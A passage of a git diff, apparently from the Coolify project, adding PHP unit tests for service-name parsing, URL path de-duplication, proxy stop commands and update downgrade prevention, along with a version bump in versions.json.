+ foreach (['appwrite', 'appwrite-console', 'appwrite-realtime'] as $name) {
+ $app = new class
+ {
+ public $is_stripprefix_enabled = true;
+
+ public function save() {}
+ };
+ $applications[$name] = $app;
+ }
+
+ $service = Mockery::mock(Service::class)->makePartial();
+ $service->name = 'appwrite-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
+ $service->id = 1;
+
+ $service->shouldReceive('applications')->times(3)->andReturnUsing(function () use (&$applications) {
+ static $callCount = 0;
+ $names = ['appwrite', 'appwrite-console', 'appwrite-realtime'];
+ $currentName = $names[$callCount++];
+
+ $query = Mockery::mock();
+ $query->shouldReceive('whereName')
+ ->with($currentName)
+ ->once()
+ ->andReturnSelf();
+ $query->shouldReceive('first')
+ ->once()
+ ->andReturn($applications[$currentName]);
+
+ return $query;
+ });
+
+ applyServiceApplicationPrerequisites($service);
+
+ foreach ($applications as $app) {
+ expect($app->is_stripprefix_enabled)->toBeFalse();
+ }
+});
+
+it('handles missing applications gracefully', function () {
+ $query = Mockery::mock();
+ $query->shouldReceive('whereName')
+ ->with('beszel')
+ ->once()
+ ->andReturnSelf();
+ $query->shouldReceive('first')
+ ->once()
+ ->andReturn(null);
+
+ $service = Mockery::mock(Service::class)->makePartial();
+ $service->name = 'beszel-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
+ $service->id = 1;
+ $service->shouldReceive('applications')
+ ->once()
+ ->andReturn($query);
+
+ // Should not throw exception
+ applyServiceApplicationPrerequisites($service);
+
+ expect(true)->toBeTrue();
+});
+
+it('skips services without prerequisites', function () {
+ $service = Mockery::mock(Service::class)->makePartial();
+ $service->name = 'unknown-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
+ $service->id = 1;
+ $service->shouldNotReceive('applications');
+
+ applyServiceApplicationPrerequisites($service);
+
+ expect(true)->toBeTrue();
+});
+
+it('correctly parses service name with single hyphen', function () {
+ $service = Mockery::mock(Service::class)->makePartial();
+ $service->name = 'docker-registry-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
+ $service->id = 1;
+ $service->shouldNotReceive('applications');
+
+ // Should not throw exception - validates that 'docker-registry' is correctly parsed
+ applyServiceApplicationPrerequisites($service);
+
+ expect(true)->toBeTrue();
+});
+
+it('correctly parses service name with multiple hyphens', function () {
+ $service = Mockery::mock(Service::class)->makePartial();
+ $service->name = 'elasticsearch-with-kibana-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
+ $service->id = 1;
+ $service->shouldNotReceive('applications');
+
+ // Should not throw exception - validates that 'elasticsearch-with-kibana' is correctly parsed
+ applyServiceApplicationPrerequisites($service);
+
+ expect(true)->toBeTrue();
+});
+
+it('correctly parses service name with hyphens in template name', function () {
+ $service = Mockery::mock(Service::class)->makePartial();
+ $service->name = 'apprise-api-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
+ $service->id = 1;
+ $service->shouldNotReceive('applications');
+
+ // Should not throw exception - validates that 'apprise-api' is correctly parsed
+ applyServiceApplicationPrerequisites($service);
+
+ expect(true)->toBeTrue();
+});
diff --git a/tests/Unit/ServiceParserPathDuplicationTest.php b/tests/Unit/ServiceParserPathDuplicationTest.php
new file mode 100644
index 000000000..74ee1d215
--- /dev/null
+++ b/tests/Unit/ServiceParserPathDuplicationTest.php
@@ -0,0 +1,150 @@
+endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+
+ expect($fqdn)->toBe('https://test.abc/v1/realtime');
+});
+
+test('path is not added when FQDN already contains it', function () {
+ $fqdn = 'https://test.abc/v1/realtime';
+ $path = '/v1/realtime';
+
+ // Simulate the logic in serviceParser()
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+
+ expect($fqdn)->toBe('https://test.abc/v1/realtime');
+});
+
+test('multiple parse calls with same path do not cause duplication', function () {
+ $fqdn = 'https://test.abc';
+ $path = '/v1/realtime';
+
+ // First parse (initial creation)
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+ expect($fqdn)->toBe('https://test.abc/v1/realtime');
+
+ // Second parse (after FQDN update)
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+ expect($fqdn)->toBe('https://test.abc/v1/realtime');
+
+ // Third parse (another update)
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+ expect($fqdn)->toBe('https://test.abc/v1/realtime');
+});
+
+test('different paths for different services work correctly', function () {
+ // Appwrite main service (/)
+ $fqdn1 = 'https://test.abc';
+ $path1 = '/';
+ if ($path1 !== '/' && ! str($fqdn1)->endsWith($path1)) {
+ $fqdn1 = "$fqdn1$path1";
+ }
+ expect($fqdn1)->toBe('https://test.abc');
+
+ // Appwrite console (/console)
+ $fqdn2 = 'https://test.abc';
+ $path2 = '/console';
+ if ($path2 !== '/' && ! str($fqdn2)->endsWith($path2)) {
+ $fqdn2 = "$fqdn2$path2";
+ }
+ expect($fqdn2)->toBe('https://test.abc/console');
+
+ // Appwrite realtime (/v1/realtime)
+ $fqdn3 = 'https://test.abc';
+ $path3 = '/v1/realtime';
+ if ($path3 !== '/' && ! str($fqdn3)->endsWith($path3)) {
+ $fqdn3 = "$fqdn3$path3";
+ }
+ expect($fqdn3)->toBe('https://test.abc/v1/realtime');
+});
+
+test('nested paths are handled correctly', function () {
+ $fqdn = 'https://test.abc';
+ $path = '/api/v1/endpoint';
+
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+
+ expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
+
+ // Second call should not duplicate
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+
+ expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
+});
+
+test('MindsDB /api path is handled correctly', function () {
+ $fqdn = 'https://test.abc';
+ $path = '/api';
+
+ // First parse
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+ expect($fqdn)->toBe('https://test.abc/api');
+
+ // Second parse should not duplicate
+ if (! str($fqdn)->endsWith($path)) {
+ $fqdn = "$fqdn$path";
+ }
+ expect($fqdn)->toBe('https://test.abc/api');
+});
+
+test('fqdnValueForEnv path handling works correctly', function () {
+ $fqdnValueForEnv = 'test.abc';
+ $path = '/v1/realtime';
+
+ // First append
+ if (! str($fqdnValueForEnv)->endsWith($path)) {
+ $fqdnValueForEnv = "$fqdnValueForEnv$path";
+ }
+ expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
+
+ // Second attempt should not duplicate
+ if (! str($fqdnValueForEnv)->endsWith($path)) {
+ $fqdnValueForEnv = "$fqdnValueForEnv$path";
+ }
+ expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
+});
+
+test('url path handling works correctly', function () {
+ $url = 'https://test.abc';
+ $path = '/v1/realtime';
+
+ // First append
+ if (! str($url)->endsWith($path)) {
+ $url = "$url$path";
+ }
+ expect($url)->toBe('https://test.abc/v1/realtime');
+
+ // Second attempt should not duplicate
+ if (! str($url)->endsWith($path)) {
+ $url = "$url$path";
+ }
+ expect($url)->toBe('https://test.abc/v1/realtime');
+});
diff --git a/tests/Unit/StopProxyTest.php b/tests/Unit/StopProxyTest.php
index 62151e1d1..f0c51a896 100644
--- a/tests/Unit/StopProxyTest.php
+++ b/tests/Unit/StopProxyTest.php
@@ -7,7 +7,7 @@
// Simulate the command sequence from StopProxy
$commands = [
- 'docker stop --time=30 coolify-proxy 2>/dev/null || true',
+ 'docker stop -t 30 coolify-proxy 2>/dev/null || true',
'docker rm -f coolify-proxy 2>/dev/null || true',
'# Wait for container to be fully removed',
'for i in {1..10}; do',
@@ -21,7 +21,7 @@
$commandsString = implode("\n", $commands);
// Verify the stop sequence includes all required components
- expect($commandsString)->toContain('docker stop --time=30 coolify-proxy')
+ expect($commandsString)->toContain('docker stop -t 30 coolify-proxy')
->and($commandsString)->toContain('docker rm -f coolify-proxy')
->and($commandsString)->toContain('for i in {1..10}; do')
->and($commandsString)->toContain('if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"')
@@ -41,7 +41,7 @@
// Test that stop/remove commands suppress errors gracefully
$commands = [
- 'docker stop --time=30 coolify-proxy 2>/dev/null || true',
+ 'docker stop -t 30 coolify-proxy 2>/dev/null || true',
'docker rm -f coolify-proxy 2>/dev/null || true',
];
@@ -54,9 +54,9 @@
// Verify that stop command includes the timeout parameter
$timeout = 30;
- $stopCommand = "docker stop --time=$timeout coolify-proxy 2>/dev/null || true";
+ $stopCommand = "docker stop -t $timeout coolify-proxy 2>/dev/null || true";
- expect($stopCommand)->toContain('--time=30');
+ expect($stopCommand)->toContain('-t 30');
});
it('waits for swarm service container removal correctly', function () {
diff --git a/tests/Unit/UpdateCoolifyTest.php b/tests/Unit/UpdateCoolifyTest.php
new file mode 100644
index 000000000..b3f496d68
--- /dev/null
+++ b/tests/Unit/UpdateCoolifyTest.php
@@ -0,0 +1,132 @@
+mockServer = Mockery::mock(Server::class)->makePartial();
+ $this->mockServer->id = 0;
+
+ // Mock InstanceSettings
+ $this->settings = Mockery::mock(InstanceSettings::class);
+ $this->settings->is_auto_update_enabled = true;
+ $this->settings->shouldReceive('save')->andReturn(true);
+});
+
+afterEach(function () {
+ Mockery::close();
+});
+
+it('has UpdateCoolify action class', function () {
+ expect(class_exists(UpdateCoolify::class))->toBeTrue();
+});
+
+it('validates cache against running version before fallback', function () {
+ // Mock Server::find to return our mock server
+ Server::shouldReceive('find')
+ ->with(0)
+ ->andReturn($this->mockServer);
+
+ // Mock instanceSettings
+ $this->app->instance('App\Models\InstanceSettings', function () {
+ return $this->settings;
+ });
+
+ // CDN fails
+ Http::fake(['*' => Http::response(null, 500)]);
+
+ // Mock cache returning older version
+ Cache::shouldReceive('remember')
+ ->andReturn(['coolify' => ['v4' => ['version' => '4.0.5']]]);
+
+ config(['constants.coolify.version' => '4.0.10']);
+
+ $action = new UpdateCoolify;
+
+ // Should throw exception - cache is older than running
+ try {
+ $action->handle(manual_update: false);
+ expect(false)->toBeTrue('Expected exception was not thrown');
+ } catch (\Exception $e) {
+ expect($e->getMessage())->toContain('cache version');
+ expect($e->getMessage())->toContain('4.0.5');
+ expect($e->getMessage())->toContain('4.0.10');
+ }
+});
+
+it('uses validated cache when CDN fails and cache is newer', function () {
+ // Mock Server::find
+ Server::shouldReceive('find')
+ ->with(0)
+ ->andReturn($this->mockServer);
+
+ // Mock instanceSettings
+ $this->app->instance('App\Models\InstanceSettings', function () {
+ return $this->settings;
+ });
+
+ // CDN fails
+ Http::fake(['*' => Http::response(null, 500)]);
+
+ // Cache has newer version than current
+ Cache::shouldReceive('remember')
+ ->andReturn(['coolify' => ['v4' => ['version' => '4.0.10']]]);
+
+ config(['constants.coolify.version' => '4.0.5']);
+
+ // Mock the update method to prevent actual update
+ $action = Mockery::mock(UpdateCoolify::class)->makePartial();
+ $action->shouldReceive('update')->once();
+ $action->server = $this->mockServer;
+
+ \Illuminate\Support\Facades\Log::shouldReceive('warning')
+ ->once()
+ ->with('Failed to fetch fresh version from CDN, using validated cache', Mockery::type('array'));
+
+ // Should not throw - cache (4.0.10) > running (4.0.5)
+ $action->handle(manual_update: false);
+
+ expect($action->latestVersion)->toBe('4.0.10');
+});
+
+it('prevents downgrade even with manual update', function () {
+ // Mock Server::find
+ Server::shouldReceive('find')
+ ->with(0)
+ ->andReturn($this->mockServer);
+
+ // Mock instanceSettings
+ $this->app->instance('App\Models\InstanceSettings', function () {
+ return $this->settings;
+ });
+
+ // CDN returns older version
+ Http::fake([
+ '*' => Http::response([
+ 'coolify' => ['v4' => ['version' => '4.0.0']],
+ ], 200),
+ ]);
+
+ // Current version is newer
+ config(['constants.coolify.version' => '4.0.10']);
+
+ $action = new UpdateCoolify;
+
+ \Illuminate\Support\Facades\Log::shouldReceive('error')
+ ->once()
+ ->with('Downgrade prevented', Mockery::type('array'));
+
+ // Should throw exception even for manual updates
+ try {
+ $action->handle(manual_update: true);
+ expect(false)->toBeTrue('Expected exception was not thrown');
+ } catch (\Exception $e) {
+ expect($e->getMessage())->toContain('Cannot downgrade');
+ expect($e->getMessage())->toContain('4.0.10');
+ expect($e->getMessage())->toContain('4.0.0');
+ }
+});
diff --git a/versions.json b/versions.json
index 09f822ea2..6d3f90371 100644
--- a/versions.json
+++ b/versions.json
@@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.446"
+ "version": "4.0.0-beta.453"
},
"nightly": {
- "version": "4.0.0-beta.447"
+ "version": "4.0.0-beta.454"
},
"helper": {
"version": "1.0.12"